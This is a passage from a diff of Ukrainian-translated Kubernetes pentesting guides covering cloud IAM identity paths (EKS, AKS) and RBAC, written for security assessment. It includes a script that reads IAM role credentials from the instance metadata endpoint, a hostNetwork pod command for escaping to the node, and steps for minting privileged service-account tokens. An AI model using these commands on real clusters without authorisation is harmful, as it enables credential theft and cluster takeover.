grep -v NAME`; do for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do @@ -141,9 +141,9 @@ done | grep -B 1 "gcp-service-account" ### Kiam & Kube2IAM (IAM role for Pods) -Застарілий спосіб надавати IAM Roles Pods — це використовувати [**Kiam**](https://github.com/uswitch/kiam) або [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** По суті, вам потрібно запустити **daemonset** у вашому кластері з **типом privileged IAM role**. Цей daemonset і буде тим, хто надаватиме доступ до IAM roles тим pods, які цього потребують. +Застарілий спосіб надати IAM Roles для Pods — використовувати [**Kiam**](https://github.com/uswitch/kiam) або [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** По суті, вам потрібно запустити **daemonset** у вашому cluster з **певним привілейованим IAM role**. Цей daemonset і буде тим, хто надаватиме доступ до IAM roles для pods, яким це потрібно. -Перш за все вам потрібно налаштувати **які roles можуть бути доступні всередині namespace**, і робиться це за допомогою annotation всередині об’єкта namespace: +Перш за все, потрібно налаштувати **які roles можуть бути доступні всередині namespace**, і це робиться за допомогою annotation всередині namespace object: ```yaml:Kiam kind: Namespace metadata: @@ -161,7 +161,7 @@ iam.amazonaws.com/allowed-roles: | ["role-arn"] name: default ``` -Після того, як namespace налаштовано з IAM roles, які можуть мати Pods, ви можете **вказати потрібну role у визначенні кожного pod так**: +Коли namespace налаштовано з IAM roles, які можуть мати Pods, ви можете **вказати role, яку хочете, у кожному pod definition за допомогою чогось на кшталт**: ```yaml:Kiam & Kube2iam kind: Pod metadata: @@ -171,12 +171,12 @@ annotations: iam.amazonaws.com/role: reportingdb-reader ``` > [!WARNING] -> Як attacker, якщо ви **знайдете ці annotations** у pods або namespaces чи запущений kiam/kube2iam server (ймовірно в kube-system), ви можете **impersonate кожну r**ole, яка вже **used by pods**, і більше (якщо у вас є access до AWS account, enumerate the roles). +> Як attacker, якщо ви **знайдете ці annotations** у pods або namespaces чи запущений kiam/kube2iam server (ймовірно в kube-system), ви можете **impersonate кожну r**ole, яка вже **використовується pods**, і більше (якщо у вас є access до AWS account, enumerate the roles). #### Create Pod with IAM Role > [!NOTE] -> IAM role, яку потрібно вказати, має бути в тому самому AWS account, що й role kiam/kube2iam, і ця role повинна мати змогу отримати до неї access. +> IAM role, яку потрібно вказати, має бути в тому самому AWS account, що й kiam/kube2iam role, і та role має мати змогу отримати до неї access. ```yaml echo 'apiVersion: v1 kind: Pod @@ -192,14 +192,14 @@ image: alpine command: ["/bin/sh"] args: ["-c", "sleep 100000"]' | kubectl apply -f - ``` -### IAM Role for K8s Service Accounts via OIDC +### IAM Role для K8s Service Accounts via OIDC -Це **рекомендований спосіб від AWS**. +Це **рекомендований AWS спосіб**. 1. Спочатку вам потрібно [створити OIDC provider для кластера](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html). 2. Потім ви створюєте IAM role з permissions, які будуть потрібні SA. -3. Створіть [trust relationship між IAM role і назвою SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (або namespace'ами, надаючи доступ до role всім SA в namespace). _Trust relationship головним чином перевірятиме назву OIDC provider, назву namespace і назву SA_. -4. Нарешті, **створіть SA з annotation, що вказує ARN role**, і pods, що працюють із цим SA, матимуть **доступ до token role**. **Token** **записується** у файл, а шлях до нього вказано в **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) +3. Створіть [trust relationship між IAM role і назвою SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) (або namespaces, надаючи доступ до role всім SA namespace). _Trust relationship головним чином перевірятиме назву OIDC provider, назву namespace і назву SA_. +4. Нарешті, **створіть SA з annotation, що вказує ARN role**, і pods, що працюють з цим SA, матимуть **access до token role**. **token** **записується** у файл, а path вказується в **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`) ```bash # Create a service account with a role cat >my-service-account.yaml < [!WARNING] -> Як атакувальник, якщо ти можеш enumarate K8s cluster, перевір **service accounts with that annotation** to **escalate to AWS**. Для цього просто **exec/create** a **pod** using one of the IAM **privileged service accounts** and вкради token. +> Як attacker, якщо ви можете enumerate K8s cluster, перевірте **service accounts with that annotation** щоб **escalate to AWS**. Щоб зробити це, просто **exec/create** **pod** using one of the IAM **privileged service accounts** and steal the token. > -> Moreover, if you are inside a pod, перевір env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.** +> Крім того, якщо ви всередині pod, перевірте env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.** > [!CAUTION] -> Іноді **Turst Policy of a role** може бути **bad configured** і замість надання AssumeRole access до очікуваного service account, вона надає його **all the service accounts**. Therefore, якщо ти можеш write an annotation on a controlled service account, ти можеш access the role. +> Іноді **Turst Policy of a role** може бути **bad configured** і замість того, щоб давати AssumeRole access до очікуваного service account, він дає його **all the service accounts**. Therefore, if you are capable of write an annotation on a controlled service account, you can access the role. > > Check the **following page for more information**: @@ -234,6 +234,49 @@ aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/ ../aws-security/aws-basic-information/aws-federation-abuse.md {{#endref}} +### EKS Pod Identity + +EKS Pod Identity is the newer AWS-managed way to associate an IAM role with a Kubernetes service account without relying on each workload to call STS with an IRSA web identity token. The cluster runs the EKS Pod Identity Agent on nodes, the EKS API stores pod identity associations, and AWS SDKs in selected pods obtain credentials through the container credentials provider path exposed by the agent. + +From Kubernetes, the interesting evidence is still the service account and pod relationship, but the runtime signals are different from IRSA. Look for AWS container credential environment variables in pods rather than only `AWS_WEB_IDENTITY_TOKEN_FILE`: +```bash +kubectl get pods -A -o yaml | grep -nE 'AWS_CONTAINER_CREDENTIALS|AWS_CONTAINER_AUTHORIZATION_TOKEN_FILE|AWS_ROLE_ARN|AWS_WEB_IDENTITY_TOKEN_FILE' +kubectl get serviceaccounts -A -o yaml | grep -nE 'eks.amazonaws.com|role-arn' +kubectl get ds -A | grep -i 'pod.identity\|eks-pod-identity' +``` +З AWS перелічи associations, а потім зістав їх назад із Kubernetes namespaces та service accounts: +```bash +aws eks list-pod-identity-associations --cluster-name +aws eks describe-pod-identity-association \ +--cluster-name \ +--association-id +``` +Усередині associated pod основні runtime indicators — це container credentials provider variables, injected by EKS: +```bash +env | grep -E '^AWS_CONTAINER_(CREDENTIALS_FULL_URI|AUTHORIZATION_TOKEN_FILE)=' +ls -l /var/run/secrets/pods.eks.amazonaws.com/serviceaccount/ 2>/dev/null +aws sts get-caller-identity +``` +Локальний endpoint credentials зазвичай `http://169.254.170.23/v1/credentials`, а authorization token — це projected service account token для audience `pods.eks.amazonaws.com`. Пам’ятайте, що порядок AWS SDK credential-provider все ще застосовується: якщо static environment credentials або shared credential files налаштовані раніше в ланцюжку, pod може використати їх замість Pod Identity association. + +Ролі Pod Identity зазвичай довіряють service principal `pods.eks.amazonaws.com` для `sts:AssumeRole` і `sts:TagSession`. Перевіряйте trust-policy conditions на request tags, такі як `kubernetes-namespace`, `kubernetes-service-account`, і cluster tags, тому що надто широкі умови можуть зробити reusable role доступною для занадто великої кількості service accounts. Pod Identity також додає session tags до temporary credentials, і ці tags можуть керувати ABAC policies, наприклад доступом до ресурсів на основі `${aws:PrincipalTag/kubernetes-namespace}` або `${aws:PrincipalTag/kubernetes-service-account}`. + +Для cross-account access Pod Identity association може використовувати same-account role, яка ланцюжком переходить у target role в іншому account. У такому разі перевіряйте обидва рівні: EKS association role і target role trust/policy. Pod Identity session tags є transitive через role chain, тож вони корисні як доказ того, який cluster namespace і service account отримував доступ до remote account. + +> [!WARNING] +> Якщо ви можете створювати або змінювати pods, які використовують service account з EKS Pod Identity association, перевірте, чи отримує такий pod корисні AWS permissions. Якщо ви захищаєте середовище, відстежуйте нові pod identity associations, неочікуване використання service account і AWS API calls від ролей, які мають використовуватися лише конкретними workloads. + +### EKS governance guardrails + +Під час review EKS з боку AWS пам’ятайте, що IAM і AWS Organizations guardrails можуть заборонити небезпечну cluster configuration, навіть якщо principal має EKS permissions, які виглядають широкими. Нові EKS condition keys охоплюють cluster settings, такі як public або private endpoint access, Kubernetes version, secrets-encryption KMS keys, deletion protection, control-plane scaling tier і zonal shift configuration. Ці keys можна використовувати в IAM policies або Service Control Policies, щоб enforce account-wide cluster baselines. + +Це важливо і для attack impact, і для triage. Якщо principal може викликати `eks:UpdateClusterConfig`, але SCP забороняє вмикати public endpoint через `eks:endpointPublicAccess`, повідомляйте про спробу ризикованої дії та guardrail, який її заблокував, замість того щоб стверджувати про public API exposure. Для defenders важливо відстежувати як denied EKS configuration changes, так і успішні changes, тому що denied attempts можуть виявити compromised automation, застарілі admin roles або reconnaissance перед pivot до менш захищеного account. + +Корисні посилання: + +- [Amazon EKS IAM condition keys](https://docs.aws.amazon.com/service-authorization/latest/reference/list_amazonelastickubernetesservice.html) +- [AWS Organizations service control policies](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps.html) + ### Find Pods a SAs with IAM Roles in the Cluster Це script, щоб легко **iterate over the all the pods and sas** definitions **looking** for that **annotation**: @@ -255,26 +298,26 @@ done | grep -B 1 "amazonaws.com" ``` ### Node IAM Role to cluster-admin -Попередній розділ був про те, як викрадати IAM Roles за допомогою pods, але майте на увазі, що **Node** K8s cluster — це буде **instance всередині cloud**. Це означає, що Node з великою ймовірністю матиме **IAM role, яку ви можете вкрасти** (_note that usually all the nodes of a K8s cluster will have the same IAM role, so it might not be worth it to try to check on each node_). +Попередній розділ був про те, як вкрасти IAM Roles за допомогою pods, але майте на увазі, що **Node of the** K8s cluster — це **instance inside the cloud**. Це означає, що Node з високою ймовірністю **матиме IAM role, яку ви можете вкрасти** (_зверніть увагу, що зазвичай усі nodes K8s cluster матимуть ту саму IAM role, тож може не мати сенсу перевіряти кожен node окремо_). -Щоб отримати доступ до metadata endpoint ноди, вам потрібно: -- Бути в pod і мати metadata endpoint налаштований щонайменше на 2 tcp hops. Це найпоширеніша misconfiguration, оскільки зазвичай різні pods у cluster потребуватимуть доступу до metadata endpoint, щоб не ламатися, і кілька компаній просто вирішують дозволити доступ до metadata endpoint з усіх pods у cluster. -- Бути в pod з увімкненим `hostNetwork`. -- Escape до node і отримати доступ до metadata endpoint напряму. +Щоб отримати доступ до node metadata endpoint, вам потрібно: +- Бути в pod і мати metadata endpoint, налаштований щонайменше на 2 tcp hops. Це найпоширеніша misconfiguration, оскільки зазвичай різні pods у cluster потребуватимуть доступу до metadata endpoint, щоб не ламатися, і багато компаній просто вирішують дозволити доступ до metadata endpoint з усіх pods у cluster. +- Бути в pod із увімкненим `hostNetwork`. +- Вийти на node і отримати доступ до metadata endpoint напряму. -(Зверніть увагу, що metadata endpoint, як завжди, знаходиться на 169.254.169.254). +(Зверніть увагу, що metadata endpoint завжди знаходиться на 169.254.169.254). -У новіших EKS environments перевіряйте node і cluster mode, перш ніж припускати, що pods можуть дістатися до node instance profile. Amazon Linux 2023 EKS optimized AMIs за замовчуванням встановлюють IMDS hop limit на 1, а EKS Auto Mode вмикає `disablePodIMDS` за замовчуванням, тож звичайні pods не повинні отримувати node-role credentials, якщо оператор не змінив ці налаштування або pod не має іншого node-level path, наприклад `hostNetwork` чи node compromise. Рекомендований підхід — заблокувати доступ pods до node IMDS і використовувати IRSA або EKS Pod Identity для AWS permissions workload. +У новіших EKS environments перевіряйте mode node і cluster перед тим, як припускати, що pods можуть дістатися до node instance profile. Amazon Linux 2023 EKS optimized AMIs за замовчуванням встановлюють IMDS hop limit на 1, а EKS Auto Mode вмикає `disablePodIMDS` за замовчуванням, тож звичайні pods не повинні отримувати node-role credentials, якщо тільки оператор не змінив ці налаштування або pod не має іншого node-level шляху, такого як `hostNetwork` чи compromise node. Рекомендований підхід — блокувати доступ pods до node IMDS і використовувати IRSA або EKS Pod Identity для AWS permissions workload. -Щоб **escape to the node**, ви можете використати таку команду, щоб запустити pod з увімкненим `hostNetwork`: +Щоб **escape to the node** ви можете використати таку команду, щоб запустити pod із увімкненим `hostNetwork`: ```bash kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}' ``` ### Викрасти IAM Role Token -Раніше ми обговорювали, як **прикріпити IAM Roles до Pods** або навіть як **втекти на Node, щоб викрасти IAM Role**, яку instance має до нього прикріплену. +Раніше ми обговорювали, як **призначати IAM Roles до Pods** або навіть як **втекти на Node, щоб вкрасти IAM Role**, яку інстанс має до нього прикріпленою. -Ви можете використати наступний скрипт, щоб **викрасти** ваші нові, важко здобуті **IAM role credentials**: +Ви можете використати наступний скрипт, щоб **вкрасти** ваші нові, важко здобуті **IAM role credentials**: ```bash IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null) if [ "$IAM_ROLE_NAME" ]; then @@ -287,11 +330,11 @@ fi ``` ### Privesc to cluster-admin -У підсумку: якщо з pod можливо **access the EKS Node IAM role**, то можливо **compromise the full kubernetes cluster**. +У підсумку: якщо з pod можливо **отримати доступ до EKS Node IAM role**, то можливо **скомпрометувати весь kubernetes cluster**. -For more info check [this post](https://blog.calif.io/p/privilege-escalation-in-eks). У підсумку, default IAM EKS role, яка призначається EKS nodes за замовчуванням, у cluster отримує роль `system:node`. Ця роль дуже цікава, хоча і обмежена kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). +Для більшої інформації дивіться [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Коротко: default IAM EKS role, який за замовчуванням призначається EKS nodes, у cluster має role `system:node`. Ця role дуже цікава, хоча й обмежена kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction). -Однак node завжди може **generate tokens for service accounts** running in pods inside the node. Тож якщо node запускає pod з privileged service account, node може згенерувати token для цього service account і використати його, щоб impersonate service account, як у: +Однак node завжди може **generate tokens for service accounts** запущених у pods всередині node. Тому, якщо node запускає pod із privileged service account, node може generate token для цього service account і використати його, щоб impersonate service account, як у: ```bash kubectl --context=node1 create token -n ns1 sa-priv \ --bound-object-kind=Pod \ @@ -302,11 +345,11 @@ kubectl --context=node1 create token -n ns1 sa-priv \ В AKS під час assessment тримайте три identity paths розділеними: -- **Azure to Kubernetes**: Azure principals можуть отримувати user або admin kubeconfigs через Azure Resource Manager, якщо їхня Azure RBAC role це дозволяє. Local admin kubeconfigs з `az aks get-credentials --admin` є certificate-based credentials і можуть bypass звичайний Microsoft Entra user/group governance, якщо local accounts не disabled. -- **Microsoft Entra to Kubernetes**: Entra-integrated clusters authenticate users, groups або service principals через `kubelogin`/exec kubeconfigs. Final Kubernetes action може бути authorized нативним Kubernetes RBAC або Azure RBAC for Kubernetes Authorization. -- **Kubernetes to Azure**: Pods normally мають використовувати Microsoft Entra Workload ID, який exchange-ить projected Kubernetes service account tokens з Entra через AKS OIDC issuer і federated identity credentials. +- **Azure to Kubernetes**: Azure principals можуть отримувати user або admin kubeconfigs через Azure Resource Manager, якщо їхній Azure RBAC role це дозволяє. Local admin kubeconfigs з `az aks get-credentials --admin` — це certificate-based credentials і можуть обходити звичайне Microsoft Entra user/group governance, якщо local accounts не disabled. +- **Microsoft Entra to Kubernetes**: Entra-integrated clusters authenticate users, groups або service principals через `kubelogin`/exec kubeconfigs. Final Kubernetes action може бути authorized через native Kubernetes RBAC або через Azure RBAC for Kubernetes Authorization. +- **Kubernetes to Azure**: Pods зазвичай мають використовувати Microsoft Entra Workload ID, which exchanges projected Kubernetes service account tokens with Entra through the AKS OIDC issuer and federated identity credentials. -Корисні AKS identity checks з Azure: +Useful AKS identity checks from Azure: ```bash az aks show -g -n \ --query '{disableLocalAccounts:disableLocalAccounts,enableAzureRBAC:enableAzureRBAC,oidcIssuerProfile:oidcIssuerProfile,securityProfile:securityProfile,identity:identity,identityProfile:identityProfile,nodeResourceGroup:nodeResourceGroup}' \ @@ -332,21 +375,43 @@ metadata: labels: azure.workload.identity/use: "true" ``` -Якщо кластер і далі використовує застарілу модель pod-managed identity від Microsoft Entra, шукайте старі CRD та компоненти NMI/MIC замість анотацій Workload ID: +Новіші середовища AKS можуть використовувати **AKS Identity Bindings** (preview) для масштабування Workload ID across many clusters or service accounts без створення одного federated identity credential на кожен subject. У цій моделі user-assigned managed identity прив’язується до AKS cluster, workloads opt in з `azure.workload.identity/use-identity-binding: "true"`, а Kubernetes RBAC надає `use-managed-identity` на `cid.wi.aks.azure.com` resources, названі за managed identity client IDs. Широкий `ClusterRoleBinding` тут може expose той самий Azure identity більшій кількості namespaces, ніж очікувалося, навіть якщо direct federated identity credential subjects виглядають вузькими. +```bash +az aks identity-binding list -g --cluster-name -o yaml +kubectl get clusterrole,clusterrolebinding -o yaml | grep -n 'cid.wi.aks.azure.com\|use-managed-identity' -B 8 -A 12 +kubectl get pods -A -o yaml | grep -n 'azure.workload.identity/use-identity-binding' -B 8 -A 12 +``` +Якщо кластер досі використовує deprecated Microsoft Entra pod-managed identity model, шукайте старі CRDs та компоненти NMI/MIC замість Workload ID annotations: ```bash kubectl get crd | grep -i azureidentity kubectl get azureidentity,azureidentitybinding,azureassignedidentity -A -o yaml 2>/dev/null kubectl get ds -A | grep -Ei 'nmi|mic|aad-pod-identity' ``` -AKS nodes are Azure VM scale set instances, so node or host-level access can expose Azure Instance Metadata Service at `169.254.169.254`. Do not assume an ordinary pod should receive node managed identity credentials: verify workload identity settings, legacy pod identity/NMI behavior, hostNetwork usage, network controls, and node access first. If a node identity has broad Azure permissions, node compromise can become an Azure pivot even when application Workload ID is correctly scoped. +AKS nodes — це екземпляри Azure VM scale set, тож доступ на рівні node або host може відкрити Azure Instance Metadata Service за адресою `169.254.169.254`. Не припускайте, що звичайний pod має отримувати облікові дані node managed identity: спершу перевірте налаштування Workload ID, поведінку legacy pod identity/NMI, використання hostNetwork, network controls і доступ до node. Якщо node identity має широкі Azure permissions, compromise node може перетворитися на Azure pivot навіть тоді, коли application Workload ID правильно scoped. +AKS Automatic і Node Auto-Provisioning (NAP) змінюють evidence на стороні node, яке слід зібрати. AKS Automatic попередньо налаштовує кілька production defaults, зокрема підтримку Workload ID/OIDC, managed node pools, node resource group lockdown і managed upgrade behavior. NAP — це managed режим provisioning на базі Karpenter і використовує Kubernetes resources, такі як `NodePool`, `AKSNodeClass` і `NodeClaim`, щоб визначити, які nodes будуть створені для pending workloads. Перевірте, хто може змінювати ці resources, high-impact scheduling controls, privileged pods і широкі tolerations; також перевірте, чи node resource group lockdown заблокував прямі зміни VMSS/load balancer і змусив вносити зміни назад через Kubernetes або AKS APIs. +```bash +az aks show -g -n \ +--query '{sku:sku,nodeProvisioningProfile:nodeProvisioningProfile,autoUpgradeProfile:autoUpgradeProfile,nodeResourceGroup:nodeResourceGroup,securityProfile:securityProfile}' \ +-o yaml + +kubectl get crd | grep -Ei 'nodepool|aksnodeclass|nodeclaim|karpenter' +kubectl get nodepools,aksnodeclasses,nodeclaims -A -o yaml 2>/dev/null +``` ## References - [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity) - [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c) - [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-identities.html) +- [https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html](https://docs.aws.amazon.com/eks/latest/userguide/pod-id-how-it-works.html) - [https://learn.microsoft.com/en-us/azure/aks/concepts-identity](https://learn.microsoft.com/en-us/azure/aks/concepts-identity) - [https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview](https://learn.microsoft.com/en-us/azure/aks/workload-identity-overview) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts](https://learn.microsoft.com/en-us/azure/aks/identity-bindings-concepts) +- [https://learn.microsoft.com/en-us/azure/aks/identity-bindings](https://learn.microsoft.com/en-us/azure/aks/identity-bindings) - [https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization](https://learn.microsoft.com/en-us/azure/aks/entra-id-authorization) +- [https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic](https://learn.microsoft.com/en-us/azure/aks/intro-aks-automatic) +- [https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning](https://learn.microsoft.com/en-us/azure/aks/node-auto-provisioning) +- [https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown](https://learn.microsoft.com/en-us/azure/aks/node-resource-group-lockdown) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md index 85ed19f97..c56fbd5b7 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-role-based-access-control-rbac.md @@ -4,33 +4,39 @@ ## Role-Based Access Control (RBAC) -Kubernetes має **authorization module** під назвою **Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)), який допомагає встановлювати permissions на використання API server. +Kubernetes має **authorization module** під назвою **Role-Based Access Control** ([**RBAC**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)), який допомагає встановлювати permissions використання для API server. Модель permissions у RBAC побудована з **трьох окремих частин**: -1. **Role\ClusterRole ­–** Фактичний permission. Вона містить _**rules**_, які представляють набір permissions. Кожне правило містить [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) і [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb — це action, який буде застосовано до resource. +1. **Role\ClusterRole –** Фактичний permission. Він містить _**rules**_, які представляють набір permissions. Кожне правило містить [resources](https://kubernetes.io/docs/reference/kubectl/overview/#resource-types) і [verbs](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#determine-the-request-verb). Verb — це action, який буде застосовано до resource. 2. **Subject (User, Group or ServiceAccount) –** Об’єкт, який отримає permissions. 3. **RoleBinding\ClusterRoleBinding –** Зв’язок між Role\ClusterRole і subject. ![Kubernetes RBAC diagram showing RoleBinding connecting a ServiceAccount subject to Role permissions](https://www.cyberark.com/wp-content/uploads/2018/12/rolebiding_serviceaccount_and_role-1024x551.png) -Різниця між “**Roles**” і “**ClusterRoles**” полягає лише в тому, де буде застосовано role – “**Role**” надає доступ лише до **одного** **specific** **namespace**, тоді як “**ClusterRole**” можна використовувати в **all namespaces** у cluster. Крім того, **ClusterRoles** також можуть надавати доступ до: +Різниця між “**Roles**” і “**ClusterRoles**” лише в тому, де буде застосовано role – “**Role**” надасть доступ лише до **одного** **specific** **namespace**, тоді як “**ClusterRole**” можна використовувати в **all namespaces** у cluster. Крім того, **ClusterRoles** також можуть надавати доступ до: -- **cluster-scoped** resources (наприклад, nodes). -- **non-resource** endpoints (наприклад, /healthz). -- namespaced resources (наприклад, Pods), **across all namespaces**. +- **cluster-scoped** resources (like nodes). +- **non-resource** endpoints (like /healthz). +- namespaced resources (like Pods), **across all namespaces**. -Починаючи з **Kubernetes** 1.6, політики **RBAC** **enabled by default**. Але щоб увімкнути RBAC, ви можете використати щось на кшталт: +From **Kubernetes** 1.6 onwards, **RBAC** policies are **enabled by default**. But to enable RBAC you can use something like: ``` kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options ``` +Сучасні clusters також можуть налаштовувати ланцюжок authorizer API server за допомогою `--authorization-config`, який вказує на файл `AuthorizationConfiguration`. Цей файл може визначати впорядковані authorizers, кілька webhook authorizers, webhook timeouts, `failurePolicy`, cache settings і CEL `matchConditions`, які вирішують, які запити надсилати до webhook. Під час security review не зупиняйтеся на `--authorization-mode`, якщо присутній `--authorization-config`: прочитайте згаданий файл і перевірте, чи може webhook fail open через `NoOpinion`, чи match conditions пропускають sensitive ресурси, і чи всі replicas API server використовують еквівалентну authorization configuration. + +Також перевірте authentication configuration під час аналізу anonymous API exposure. `--authentication-config` може обмежувати anonymous authenticator до конкретних paths, таких як `/livez`, `/readyz` і `/healthz`. Anonymous доступ до health endpoint — це не те саме, що anonymous доступ до Kubernetes resources; небезпечна умова — це шлях RBAC або authorizer, який дозволяє `system:anonymous` або `system:unauthenticated` читати чи змінювати реальні API objects. + +Нарешті, розглядайте membership у `system:masters` як еквівалент cluster-admin. Users або certificates у цій групі мають unrestricted API access, який обходить звичайні RBAC і webhook authorization restrictions, тому identity mappings, які додають цю групу, можуть бути важливішими за звичайний RoleBinding output. + ## Templates -У template **Role** або **ClusterRole** вам потрібно вказати **name** role, **namespace** (у roles), а також **apiGroups**, **resources** і **verbs** role: +У template **Role** або **ClusterRole** вам потрібно вказати **name of the role**, **namespace** (у roles), а потім **apiGroups**, **resources** і **verbs** role: -- **apiGroups** — це array, що містить різні **API namespaces**, до яких застосовується це правило. Наприклад, Pod definition використовує apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_. -- **resources** — це array, що визначає, **до яких resources застосовується це правило**. Усі resources можна знайти за допомогою: `kubectl api-resources --namespaced=true` -- **verbs** — це array, що містить **allowed verbs**. Verb у Kubernetes визначає **type of action**, яку потрібно застосувати до resource. Наприклад, verb list використовується для collections, тоді як "get" використовується для single resource. +- **apiGroups** — це масив, який містить різні **API namespaces**, до яких застосовується це правило. Наприклад, Pod definition використовує apiVersion: v1. _It can has values such as rbac.authorization.k8s.io or \[\*]_. +- **resources** — це масив, який визначає **which resources this rule applies to**. Ви можете знайти всі resources за допомогою: `kubectl api-resources --namespaced=true` +- **verbs** — це масив, який містить **allowed verbs**. Verb у Kubernetes визначає **type of action**, яку потрібно застосувати до resource. Наприклад, verb list використовується для collections, тоді як "get" використовується для single resource. ### Rules Verbs @@ -44,7 +50,7 @@ kube-apiserver --authorization-mode=Example,RBAC --other-options --more-options | PATCH | patch | | DELETE | delete (for individual resources), deletecollection (for collections) | -Kubernetes sometimes checks authorization for additional permissions using specialized verbs. For example: +Kubernetes іноді перевіряє authorization для додаткових permissions, використовуючи спеціалізовані verbs. Наприклад: - [PodSecurityPolicy](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) - `use` verb on `podsecuritypolicies` resources in the `policy` API group. @@ -53,8 +59,10 @@ Kubernetes sometimes checks authorization for additional permissions using speci - [Authentication](https://kubernetes.io/docs/reference/access-authn-authz/authentication/) - `impersonate` verb on `users`, `groups`, and `serviceaccounts` in the core API group, and the `userextras` in the `authentication.k8s.io` API group. +Kubernetes v1.36 також включає **constrained impersonation** як beta feature. Замість того щоб надавати лише legacy all-or-nothing `impersonate` verb, clusters можуть надавати mode-specific verbs, такі як `impersonate:user-info`, `impersonate:serviceaccount`, `impersonate:arbitrary-node` або `impersonate:associated-node`, а також action-specific verbs, такі як `impersonate-on:user-info:list` на target resource. Перевіряйте обидві частини: identity, яку subject може impersonate, і actions, які він може виконувати під час impersonating. Legacy правила `impersonate` усе ще можуть дозволяти ширший доступ, тому не припускайте, що verbs із виглядом constrained enforced, якщо тільки версія API server і evidence з access-review це не підтверджують. + > [!WARNING] -> You can find **all the verbs that each resource support** executing `kubectl api-resources --sort-by name -o wide` +> Ви можете знайти **all the verbs that each resource support** виконавши `kubectl api-resources --sort-by name -o wide` ### Examples ```yaml:Role @@ -80,13 +88,13 @@ rules: resources: ["secrets"] verbs: ["get", "watch", "list"] ``` -Наприклад, ви можете використовувати **ClusterRole**, щоб дозволити певному користувачу запускати: +Наприклад, ви можете використовувати **ClusterRole**, щоб дозволити певному користувачу виконувати: ``` kubectl get pods --all-namespaces ``` ### **RoleBinding and ClusterRoleBinding** -[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding надає дозволи, визначені в role, користувачу або набору користувачів**. Він містить список subjects (users, groups, or service accounts) і посилання на role, який надається. **RoleBinding** надає дозволи в межах конкретного **namespace**, тоді як **ClusterRoleBinding** надає цей доступ **cluster-wide**. +[**From the docs:**](https://kubernetes.io/docs/reference/access-authn-authz/rbac/#rolebinding-and-clusterrolebinding) **role binding надає дозволи, визначені в role, користувачу або набору користувачів**. Він містить список subjects (users, groups, або service accounts) і посилання на role, що надається. **RoleBinding** надає дозволи в межах конкретного **namespace**, тоді як **ClusterRoleBinding** надає цей доступ **cluster-wide**. ```yaml:RoleBinding apiVersion: rbac.authorization.k8s.io/v1 # This role binding allows "jane" to read pods in the "default" namespace. @@ -126,7 +134,7 @@ apiGroup: rbac.authorization.k8s.io ### Details worth checking -RBAC використовує resource names так, як вони з’являються в API URLs, а не YAML `kind`. Pod — це `pods`, Deployment — `deployments`, а subresources записуються через слеш, наприклад `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, `serviceaccounts/token`, `nodes/proxy` або `services/proxy`. Permission на `pods` не надає автоматично доступ до `pods/exec` або `pods/log`. +RBAC uses resource names as they appear in API URLs, not the YAML `kind`. A Pod is `pods`, a Deployment is `deployments`, and subresources are written with a slash such as `pods/log`, `pods/exec`, `pods/portforward`, `pods/ephemeralcontainers`, `deployments/scale`, 